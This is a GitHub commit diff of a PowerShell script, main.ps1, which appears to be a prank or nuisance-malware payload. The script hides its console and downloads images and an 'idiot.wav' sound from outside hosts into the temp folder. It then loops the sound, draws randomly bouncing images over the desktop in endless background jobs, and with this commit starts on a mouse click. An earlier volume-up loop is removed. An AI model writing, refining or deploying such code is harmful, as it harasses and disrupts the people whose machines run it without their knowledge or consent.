Update main.ps1

This commit is contained in:
egieb
2024-06-03 21:43:26 +00:00
committed by GitHub
parent 0652875ec0
commit aa64d685c9

View File

@@ -12,6 +12,7 @@ stop in task manager (when console is hidden)
Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Windows.Forms
# Hide the Powershell console
$hide = 1
if ($hide -eq 1){
@@ -30,13 +31,15 @@ if ($hide -eq 1){
}
}
# Download sounds and images
iwr -Uri 'https://i.ibb.co/RpFpd34/wh.png' -OutFile "$env:TEMP\white.png"
iwr -Uri 'https://i.ibb.co/Nx16b06/bl.png' -OutFile "$env:TEMP\black.png"
iwr -Uri 'https://github.com/beigeworm/assets/raw/main/idiot.wav' -OutFile "$env:TEMP\sound.wav"
sleep 1
# Loop sound
Function SpawnImage{
$job1 = {
while ($true){
@@ -46,7 +49,6 @@ $job1 = {
}
# Loop images
$job2 = {
Add-Type -AssemblyName System.Drawing
Add-Type -AssemblyName System.Windows.Forms
@@ -58,11 +60,11 @@ $job2 = {
$desktopHandle = [System.IntPtr]::Zero
$graphics = [System.Drawing.Graphics]::FromHwnd($desktopHandle)
$random = New-Object System.Random
$x = 0
$y = 200
$dx = 15
$x = $random.Next(10, 400)
$y = $random.Next(10, 400)
$dx = $random.Next(10, 25)
$dy = $random.Next(10, 25)
$imageSize = 400
$imageSize = 250
$i = 1
while ($true) {
@@ -85,19 +87,26 @@ $job2 = {
}
}
# Volume up repeatedly
$job3 = {
$wshell = New-Object -ComObject wscript.shell
while ($true){
$wshell.SendKeys([char]175)
sleep -m 10
Start-Job -ScriptBlock $job1
Start-Job -ScriptBlock $job2
}
function MouseState {
$previousState = [Windows.Forms.Control]::MouseButtons
while ($true) {
$currentState = [Windows.Forms.Control]::MouseButtons
if ($previousState -ne $currentState) {
Write-Host "Mouse Click Detected!"
$previousState = $currentState
SpawnImage
break
}
Start-Sleep -Milliseconds 50
}
}
# Start jobs
Start-Job -ScriptBlock $job1
Start-Job -ScriptBlock $job2
Start-Job -ScriptBlock $job3
sleep 17
Start-Job -ScriptBlock $job2
pause
while ($true){
MouseState
Start-Sleep -Milliseconds 500
}